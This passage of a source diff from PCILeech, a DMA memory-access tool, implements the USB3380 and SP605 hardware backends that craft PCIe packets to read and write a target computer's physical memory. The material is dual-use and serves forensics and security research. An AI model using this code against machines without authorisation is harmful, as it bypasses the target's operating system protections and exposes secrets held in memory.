Device3380_WriteCsr(pDeviceData, 0x260, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTE0 | CSR_BYTE1 | CSR_BYTE3); // write serial EEPROM buffer (page 250).
|
||||
while(dwWriteValue & 0xFF000000) { // wait write finish
|
||||
Device3380_ReadCsr(pDeviceData, 0x260, &dwWriteValue, CSR_CONFIGSPACE_PCIE);
|
||||
}
|
||||
wAddr += 4;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Device3380_RetrievePath(_Out_bytecap_(BufLen) LPWSTR wszDevicePath, _In_ ULONG BufLen)
|
||||
{
|
||||
BOOL result;
|
||||
HDEVINFO deviceInfo;
|
||||
SP_DEVICE_INTERFACE_DATA interfaceData;
|
||||
PSP_DEVICE_INTERFACE_DETAIL_DATA detailData = NULL;
|
||||
ULONG length, requiredLength = 0;
|
||||
deviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_android, NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);
|
||||
if(deviceInfo == INVALID_HANDLE_VALUE) {
|
||||
return FALSE;
|
||||
}
|
||||
interfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
|
||||
result = SetupDiEnumDeviceInterfaces(deviceInfo, NULL, &GUID_DEVINTERFACE_android, 0, &interfaceData);
|
||||
if(!result) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, NULL, 0, &requiredLength, NULL);
|
||||
if(!result && ERROR_INSUFFICIENT_BUFFER != GetLastError()) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
detailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)LocalAlloc(LMEM_FIXED, requiredLength);
|
||||
if(!detailData) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
detailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);
|
||||
length = requiredLength;
|
||||
result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, detailData, length, &requiredLength, NULL);
|
||||
if(!result) {
|
||||
LocalFree(detailData);
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
wcscpy_s(wszDevicePath, BufLen, (LPWSTR)detailData->DevicePath);
|
||||
LocalFree(detailData);
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Device3380_Open_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
BOOL boolTRUE = TRUE;
|
||||
ULONG ulTIMEOUT = 500; // ms
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAOUT, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAOUT, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN1, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN1, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN2, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN2, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN3, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
}
|
||||
|
||||
BOOL Device3380_Open2(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
PDEVICE_DATA pDeviceData;
|
||||
if(!ctx->hDevice) {
|
||||
ctx->hDevice = (HANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_DATA));
|
||||
if(!ctx->hDevice) { return FALSE; }
|
||||
}
|
||||
pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
result = Device3380_RetrievePath(pDeviceData->DevicePath, MAX_PATH);
|
||||
if(!result) { return FALSE; }
|
||||
pDeviceData->DeviceHandle = CreateFile(pDeviceData->DevicePath,
|
||||
GENERIC_WRITE | GENERIC_READ,
|
||||
FILE_SHARE_WRITE | FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
|
||||
NULL);
|
||||
if(INVALID_HANDLE_VALUE == pDeviceData->DeviceHandle) {
|
||||
return FALSE;
|
||||
}
|
||||
result = WinUsb_Initialize(pDeviceData->DeviceHandle, &pDeviceData->WinusbHandle);
|
||||
if(!result) {
|
||||
CloseHandle(pDeviceData->DeviceHandle);
|
||||
return FALSE;
|
||||
}
|
||||
Device3380_Open_SetPipePolicy(pDeviceData);
|
||||
pDeviceData->HandlesOpen = TRUE;
|
||||
pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7.
|
||||
pDeviceData->MaxSizeDmaIo = ctx->cfg->qwMaxSizeDmaIo;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Device3380_Close(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
if(!pDeviceData) { return; }
|
||||
if(!pDeviceData->HandlesOpen) { return; }
|
||||
WinUsb_Free(pDeviceData->WinusbHandle);
|
||||
CloseHandle(pDeviceData->DeviceHandle);
|
||||
pDeviceData->HandlesOpen = FALSE;
|
||||
LocalFree(ctx->hDevice);
|
||||
ctx->hDevice = 0;
|
||||
}
|
||||
|
||||
BOOL Device3380_Open(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD dwReg;
|
||||
result = Device3380_Open2(ctx);
|
||||
if(!result) { return FALSE; }
|
||||
Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL);
|
||||
if(ctx->cfg->fForceUsb2 && (dwReg & 0x0100 /* Super-Speed(USB3) */)) {
|
||||
printf("Device Info: Device running at USB3 speed; downgrading to USB2 ...\n");
|
||||
dwReg = 0x04; // USB2=ENABLE, USB3=DISABLE
|
||||
Device3380_WriteCsr((PDEVICE_DATA)ctx->hDevice, REG_USBCTL2, dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTE0);
|
||||
Device3380_Close(ctx);
|
||||
Sleep(1000);
|
||||
result = Device3380_Open2(ctx);
|
||||
if(!result) { return FALSE; }
|
||||
Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL);
|
||||
}
|
||||
if(dwReg & 0xc0 /* Full-Speed(USB1)|High-Speed(USB2) */) {
|
||||
printf("Device Info: Device running at USB2 speed.\n");
|
||||
} else if(ctx->cfg->fVerbose) {
|
||||
printf("Device Info: Device running at USB3 speed.\n");
|
||||
}
|
||||
if(ctx->cfg->fVerbose) { printf("Device Info: USB3380.\n"); }
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Action_Device3380_Flash(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) {
|
||||
printf("Flash failed: unsupported device.\n");
|
||||
return;
|
||||
}
|
||||
printf("Flashing firmware ... \n");
|
||||
if(!ctx->cfg->cbIn || ctx->cfg->cbIn > 32768) {
|
||||
printf("Flash failed: failed to open file or invalid size\n");
|
||||
return;
|
||||
}
|
||||
if(!ctx->cfg->fForceRW && (ctx->cfg->pbIn[0] != 0x5a || *(WORD*)(ctx->cfg->pbIn + 2) > (DWORD)ctx->cfg->cbIn - 1)) {
|
||||
printf("Flash failed: invalid firmware signature or size\n");
|
||||
return;
|
||||
}
|
||||
result = Device3380_FlashEEPROM(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn);
|
||||
if(!result) {
|
||||
printf("Flash failed: failed to write firmware to device\n");
|
||||
return;
|
||||
}
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
|
||||
VOID Action_Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) {
|
||||
printf("8051 startup failed: unsupported device.\n");
|
||||
return;
|
||||
}
|
||||
printf("Loading 8051 executable and starting ... \n");
|
||||
if(!ctx->cfg->cbIn || ctx->cfg->cbIn > 32768) {
|
||||
printf("8051 startup failed: failed to open file or invalid size\n");
|
||||
return;
|
||||
}
|
||||
result = Device3380_8051Start(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn);
|
||||
if(!result) {
|
||||
printf("8051 startup failed: failed to write executable to device or starting 8051\n");
|
||||
return;
|
||||
}
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
|
||||
VOID Action_Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) {
|
||||
printf("Stopping 8051 failed: unsupported device.\n");
|
||||
return;
|
||||
}
|
||||
printf("Stopping 8051 ... \n");
|
||||
Device3380_8051Stop(ctx);
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
|
||||
BOOL DevicePciOutWriteDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
BYTE data[4 + 4 + 64 * 4];
|
||||
if(((cb % 4) != 0) || (cb > 256)) { return FALSE; }
|
||||
if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; }
|
||||
*(PDWORD)(data + 0) = 0x0000004f | (cb >> 2) << 24;
|
||||
*(PDWORD)(data + 4) = (DWORD)qwAddr;
|
||||
memcpy(data + 8, pb, cb);
|
||||
return WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_PCIOUT, data, 8 + cb, &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL DevicePciInReadDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
BYTE data[4 + 4];
|
||||
if(((cb % 4) != 0) || (cb > 256)) { return FALSE; }
|
||||
if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; }
|
||||
*(PDWORD)(data + 0) = 0x000000cf | (cb >> 2) << 24;
|
||||
*(PDWORD)(data + 4) = (DWORD)qwAddr;
|
||||
return
|
||||
WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_PCIOUT, data, 8, &cbTransferred, NULL) &&
|
||||
WinUsb_ReadPipe(pDeviceData->WinusbHandle, USB_EP_PCIIN, pb, cb, &cbTransferred, NULL) &&
|
||||
cb == cbTransferred;
|
||||
}
|
||||
62
pcileech/device3380.h
Normal file
62
pcileech/device3380.h
Normal file
@@ -0,0 +1,62 @@
|
||||
// device3380.h : definitions related to the USB3380 hardware device.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __DEVICE3380_H__
|
||||
#define __DEVICE3380_H__
|
||||
#include "pcileech.h"
|
||||
|
||||
/*
|
||||
* Open a connection to the USB3380 PCILeech flashed device.
|
||||
* -- ctx
|
||||
* -- result
|
||||
*/
|
||||
BOOL Device3380_Open(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Clean up various device related stuff and deallocate memory buffers.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Device3380_Close(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Read data from the target system using DMA.
|
||||
* -- ctx
|
||||
* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space)
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- return
|
||||
*/
|
||||
BOOL Device3380_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Write data to the target system using DMA.
|
||||
* -- ctx
|
||||
* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space)
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- return
|
||||
*/
|
||||
BOOL Device3380_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Flash a new firmware into the onboard memory of the USB3380 card.
|
||||
* This may be dangerious and the device may stop working after a reflash!
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_Device3380_Flash(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Load a program into the 8051 CPU and start executing it.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Stop the onboard 8051 CPU if its running.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __DEVICE3380_H__ */
|
||||
356
pcileech/device605.c
Normal file
356
pcileech/device605.c
Normal file
@@ -0,0 +1,356 @@
|
||||
// device.c : implementation related to the Xilinx SP605 dev board flashed with @d_olex early access bitstream. (UART communication).
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "device605.h"
|
||||
#include "device.h"
|
||||
#include "tlp.h"
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// SP605 defines below.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
#define COM_PORT_CFG "COM4"
|
||||
#define COM_PORT_PCIE "COM3"
|
||||
#define SP605_STATUS_TX_CONT 0x000000c0
|
||||
#define SP605_STATUS_TX_END 0x010000c0
|
||||
#define SP605_STATUS_MASK_VALID 0x00000080
|
||||
#define SP605_STATUS_MASK_END 0x01000000
|
||||
#define SP605_COM_TIMEOUT 100 // milliseconds
|
||||
#define SP605_READ_TIMEOUT 500 // milliseconds
|
||||
|
||||
#define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24))
|
||||
|
||||
typedef struct tdDEVICE_CONTEXT_SP605_RXBUF {
|
||||
DWORD cbMax;
|
||||
DWORD cb;
|
||||
PBYTE pb;
|
||||
} DEVICE_CONTEXT_SP605_RXBUF, *PDEVICE_CONTEXT_SP605_RXBUF;
|
||||
|
||||
typedef struct tdDEVICE_CONTEXT_SP605 {
|
||||
HANDLE hCommCfg;
|
||||
HANDLE hCommPcie;
|
||||
HANDLE hThreadRx;
|
||||
WORD wDeviceId;
|
||||
BOOL isTerminateThreadRx;
|
||||
BOOL isPrintTlp;
|
||||
OVERLAPPED oTx;
|
||||
OVERLAPPED oRx;
|
||||
OVERLAPPED oCfg;
|
||||
HANDLE hRxBufferEvent;
|
||||
PDEVICE_CONTEXT_SP605_RXBUF pRxBuffer;
|
||||
} DEVICE_CONTEXT_SP605, *PDEVICE_CONTEXT_SP605;
|
||||
|
||||
VOID Device605_RxTlp_Thread(PDEVICE_CONTEXT_SP605 ctx605);
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// SP605 implementation below.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
VOID Device605_Close(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice;
|
||||
if(!ctx605) { return; }
|
||||
if(ctx605->hThreadRx) {
|
||||
ctx605->isTerminateThreadRx = TRUE;
|
||||
WaitForSingleObject(ctx605->hThreadRx, INFINITE);
|
||||
}
|
||||
if(ctx605->hRxBufferEvent) {
|
||||
WaitForSingleObject(ctx605->hRxBufferEvent, INFINITE);
|
||||
while(ctx605->pRxBuffer) { SwitchToThread(); }
|
||||
CloseHandle(ctx605->hRxBufferEvent);
|
||||
}
|
||||
if(ctx605->hCommCfg) { CloseHandle(ctx605->hCommCfg); }
|
||||
if(ctx605->hCommPcie) { CloseHandle(ctx605->hCommPcie); }
|
||||
if(ctx605->oTx.hEvent) { CloseHandle(ctx605->oTx.hEvent); };
|
||||
if(ctx605->oRx.hEvent) { CloseHandle(ctx605->oRx.hEvent); };
|
||||
if(ctx605->oCfg.hEvent) { CloseHandle(ctx605->oCfg.hEvent); };
|
||||
LocalFree(ctx605);
|
||||
ctx->hDevice = 0;
|
||||
}
|
||||
|
||||
HANDLE Device605_Open_COM(_In_ LPSTR szCOM)
|
||||
{
|
||||
DCB dcb = { 0 };
|
||||
HANDLE hComm;
|
||||
dcb.DCBlength = sizeof(DCB);
|
||||
if(!BuildCommDCBW(L"921600,n,8,1", &dcb)) { return 0; }
|
||||
hComm = CreateFileA(szCOM, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
|
||||
if(hComm == INVALID_HANDLE_VALUE) { return 0; }
|
||||
if(!SetCommState(hComm, &dcb)) {
|
||||
CloseHandle(hComm);
|
||||
return 0;
|
||||
}
|
||||
return hComm;
|
||||
}
|
||||
|
||||
WORD Device605_GetDeviceID(_In_ PDEVICE_CONTEXT_SP605 ctx605)
|
||||
{
|
||||
DWORD dw, txrx[] = { 0x00000000, 0x00000000 };
|
||||
if(!WriteFile(ctx605->hCommCfg, txrx, sizeof(txrx), &dw, &ctx605->oCfg)) {
|
||||
if(ERROR_IO_PENDING != GetLastError()) { return 0; }
|
||||
if(WAIT_TIMEOUT == WaitForSingleObject(ctx605->oCfg.hEvent, SP605_COM_TIMEOUT)) { return 0; }
|
||||
}
|
||||
if(!ReadFile(ctx605->hCommCfg, txrx, sizeof(txrx), &dw, &ctx605->oCfg)) {
|
||||
if(ERROR_IO_PENDING != GetLastError()) { return 0; }
|
||||
if(WAIT_TIMEOUT == WaitForSingleObject(ctx605->oCfg.hEvent, SP605_COM_TIMEOUT)) { return 0; }
|
||||
if(!GetOverlappedResult(ctx605->hCommPcie, &ctx605->oCfg, &dw, FALSE)) { return 0; }
|
||||
}
|
||||
return (WORD)_byteswap_ulong(txrx[0]);
|
||||
}
|
||||
|
||||
BOOL Device605_Open(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
DWORD i;
|
||||
CHAR szCOM[] = { 'C', 'O', 'M', 'x', 0 };
|
||||
PDEVICE_CONTEXT_SP605 ctx605;
|
||||
ctx605 = LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_CONTEXT_SP605));
|
||||
if(!ctx605) { return FALSE; }
|
||||
ctx->hDevice = (HANDLE)ctx605;
|
||||
// open COM ports
|
||||
for(i = 1; i <= 9; i++) {
|
||||
szCOM[3] = (CHAR)('0' + i);
|
||||
if(!ctx605->hCommPcie) {
|
||||
ctx605->hCommPcie = Device605_Open_COM(szCOM);
|
||||
} else {
|
||||
ctx605->hCommCfg = Device605_Open_COM(szCOM);
|
||||
if(ctx605->hCommCfg) { break; }
|
||||
}
|
||||
}
|
||||
if(!ctx605->hCommPcie || !ctx605->hCommCfg) { goto fail; }
|
||||
SetupComm(ctx605->hCommPcie, 0x8000, 0x8000);
|
||||
ctx605->oTx.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if(!ctx605->oTx.hEvent) { goto fail; }
|
||||
ctx605->oRx.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if(!ctx605->oRx.hEvent) { goto fail; }
|
||||
ctx605->oCfg.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if(!ctx605->oCfg.hEvent) { goto fail; }
|
||||
ctx605->hRxBufferEvent = CreateEvent(NULL, TRUE, TRUE, NULL);
|
||||
if(!ctx605->hRxBufferEvent) { goto fail; }
|
||||
ctx605->wDeviceId = Device605_GetDeviceID(ctx605);
|
||||
if(!ctx605->wDeviceId) { goto fail; }
|
||||
ctx605->isPrintTlp = ctx->cfg->fVerboseExtra;
|
||||
ctx605->hThreadRx = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Device605_RxTlp_Thread, ctx605, 0, NULL); // start rx thread, must be last in open
|
||||
if(!ctx605->hThreadRx) { goto fail; }
|
||||
if(ctx->cfg->fVerbose) { printf("Device Info: SP605.\n"); }
|
||||
return TRUE;
|
||||
fail:
|
||||
Device605_Close(ctx);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL Device605_TxTlp(_In_ PDEVICE_CONTEXT_SP605 ctx605, _In_ PBYTE pbTlp, _In_ DWORD cbTlp)
|
||||
{
|
||||
DWORD pdwTx[1024], cTx, i, dwTxed;
|
||||
if(!cbTlp) { return TRUE; }
|
||||
if((cbTlp & 0x3) || (cbTlp > 2048)) { return FALSE; }
|
||||
if(ctx605->isPrintTlp) {
|
||||
TLP_Print(pbTlp, cbTlp, TRUE);
|
||||
}
|
||||
// prepare transmit buffer
|
||||
cTx = cbTlp >> 1;
|
||||
for(i = 0; i < cTx; i += 2) {
|
||||
pdwTx[i] = SP605_STATUS_TX_CONT;
|
||||
pdwTx[i + 1] = *(PDWORD)(pbTlp + (i << 1));
|
||||
}
|
||||
pdwTx[cTx - 2] = SP605_STATUS_TX_END;
|
||||
// transmit
|
||||
return
|
||||
WriteFile(ctx605->hCommPcie, pdwTx, cTx << 2, &dwTxed, &ctx605->oTx) ||
|
||||
(GetLastError() == ERROR_IO_PENDING && GetOverlappedResult(ctx605->hCommPcie, &ctx605->oTx, &dwTxed, TRUE));
|
||||
}
|
||||
|
||||
VOID Device605_RxTlp(_In_ PDEVICE_CONTEXT_SP605 ctx605, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
PTLP_HDR_CplD hdrC = (PTLP_HDR_CplD)pb;
|
||||
PTLP_HDR hdr = (PTLP_HDR)pb;
|
||||
PDWORD buf = (PDWORD)pb;
|
||||
PDEVICE_CONTEXT_SP605_RXBUF prxbuf;
|
||||
DWORD o, c;
|
||||
if(cb < 12) { return; }
|
||||
if(ctx605->isPrintTlp) {
|
||||
TLP_Print(pb, cb, FALSE);
|
||||
}
|
||||
buf[0] = _byteswap_ulong(buf[0]);
|
||||
if(cb < ((DWORD)hdr->Length << 2) - 12) { return; }
|
||||
if((hdr->TypeFmt == TLP_CplD) && ctx605->pRxBuffer) {
|
||||
buf[1] = _byteswap_ulong(buf[1]);
|
||||
buf[2] = _byteswap_ulong(buf[2]);
|
||||
// NB! read algorithm below only support reading full 4kB pages _or_
|
||||
// partial page if starting at page boundry and read is less than 4kB.
|
||||
prxbuf = ctx605->pRxBuffer;
|
||||
o = (hdrC->Tag << 12) + min(0x1000, prxbuf->cbMax) - (hdrC->ByteCount ? hdrC->ByteCount : 0x1000);
|
||||
c = (DWORD)hdr->Length << 2;
|
||||
memcpy(prxbuf->pb + o, pb + 12, c);
|
||||
if(prxbuf->cbMax <= (DWORD)InterlockedAdd(&prxbuf->cb, c)) {
|
||||
SetEvent(ctx605->hRxBufferEvent);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID Device605_RxTlp_Thread(_In_ PDEVICE_CONTEXT_SP605 ctx605)
|
||||
{
|
||||
DWORD rx[2], dwTlp[1024], cbRead, dwResult, cdwTlp = 0;
|
||||
while(!ctx605->isTerminateThreadRx) {
|
||||
if(!ReadFile(ctx605->hCommPcie, rx, 2 * sizeof(DWORD), &cbRead, &ctx605->oRx)) {
|
||||
if(GetLastError() != ERROR_IO_PENDING) { goto fail; }
|
||||
while(TRUE) {
|
||||
dwResult = WaitForSingleObject(ctx605->oRx.hEvent, SP605_COM_TIMEOUT);
|
||||
if(ctx605->isTerminateThreadRx) { goto fail; }
|
||||
if(dwResult == WAIT_OBJECT_0) { break; }
|
||||
if(dwResult == WAIT_TIMEOUT) { continue; }
|
||||
ctx605->isTerminateThreadRx = TRUE;
|
||||
return;
|
||||
}
|
||||
if(!GetOverlappedResult(ctx605->hCommPcie, &ctx605->oRx, &cbRead, FALSE)) { goto fail; }
|
||||
}
|
||||
if(!(rx[0] & SP605_STATUS_MASK_VALID)) { goto fail; }
|
||||
dwTlp[cdwTlp] = rx[1];
|
||||
cdwTlp++;
|
||||
if(rx[0] & SP605_STATUS_MASK_END) {
|
||||
Device605_RxTlp(ctx605, (PBYTE)dwTlp, cdwTlp << 2);
|
||||
cdwTlp = 0;
|
||||
}
|
||||
if(cdwTlp >= 1024) { goto fail; }
|
||||
}
|
||||
fail:
|
||||
ctx605->isTerminateThreadRx = TRUE;
|
||||
}
|
||||
|
||||
BOOL Device605_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice;
|
||||
DEVICE_CONTEXT_SP605_RXBUF rxbuf;
|
||||
DWORD tx[4], o, i;
|
||||
BOOL is32;
|
||||
PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx;
|
||||
PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx;
|
||||
if(cb > 0x00004000) { return FALSE; }
|
||||
if(qwAddr % 0x1000) { return FALSE; }
|
||||
if((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; }
|
||||
if((cb < 0x1000) && (cb % 0x8)) { return FALSE; }
|
||||
// prepare
|
||||
rxbuf.cb = 0;
|
||||
rxbuf.pb = pb;
|
||||
rxbuf.cbMax = cb;
|
||||
ctx605->pRxBuffer = &rxbuf;
|
||||
ResetEvent(ctx605->hRxBufferEvent);
|
||||
// transmit TLPs
|
||||
for(o = 0; o < cb; o += 0x1000) {
|
||||
memset(tx, 0, 16);
|
||||
is32 = qwAddr + o < 0x100000000;
|
||||
if(is32) {
|
||||
hdrRd32->h.TypeFmt = TLP_MRd32;
|
||||
hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0);
|
||||
hdrRd32->RequesterID = ctx605->wDeviceId;
|
||||
hdrRd32->Tag = (BYTE)(o >> 12);
|
||||
hdrRd32->FirstBE = 0xf;
|
||||
hdrRd32->LastBE = 0xf;
|
||||
hdrRd32->Address = (DWORD)(qwAddr + o);
|
||||
} else {
|
||||
hdrRd64->h.TypeFmt = TLP_MRd64;
|
||||
hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0);
|
||||
hdrRd64->RequesterID = ctx605->wDeviceId;
|
||||
hdrRd64->Tag = (BYTE)(o >> 12);
|
||||
hdrRd64->FirstBE = 0xf;
|
||||
hdrRd64->LastBE = 0xf;
|
||||
hdrRd64->AddressHigh = (DWORD)((qwAddr + o) >> 32);
|
||||
hdrRd64->AddressLow = (DWORD)(qwAddr + o);
|
||||
}
|
||||
for(i = 0; i < 4; i++) {
|
||||
ENDIAN_SWAP_DWORD(tx[i]);
|
||||
}
|
||||
Device605_TxTlp(ctx605, (PBYTE)tx, is32 ? 12 : 16);
|
||||
}
|
||||
// wait for result
|
||||
WaitForSingleObject(ctx605->hRxBufferEvent, SP605_READ_TIMEOUT);
|
||||
ctx605->pRxBuffer = NULL;
|
||||
SetEvent(ctx605->hRxBufferEvent);
|
||||
return rxbuf.cb >= rxbuf.cbMax;
|
||||
}
|
||||
|
||||
BOOL Device605_WriteDMA_TXP(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwA, _In_ BYTE bFirstBE, _In_ BYTE bLastBE, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice;
|
||||
DWORD txbuf[36], i, cbTlp;
|
||||
PBYTE pbTlp = (PBYTE)txbuf;
|
||||
PTLP_HDR_MRdWr32 hdrWr32 = (PTLP_HDR_MRdWr32)txbuf;
|
||||
PTLP_HDR_MRdWr64 hdrWr64 = (PTLP_HDR_MRdWr64)txbuf;
|
||||
memset(pbTlp, 0, 16);
|
||||
if(qwA < 0x100000000) {
|
||||
hdrWr32->h.TypeFmt = TLP_MWr32;
|
||||
hdrWr32->h.Length = (WORD)(cb + 3) >> 2;
|
||||
hdrWr32->FirstBE = bFirstBE;
|
||||
hdrWr32->LastBE = bLastBE;
|
||||
hdrWr32->RequesterID = ctx605->wDeviceId;
|
||||
hdrWr32->Address = (DWORD)qwA;
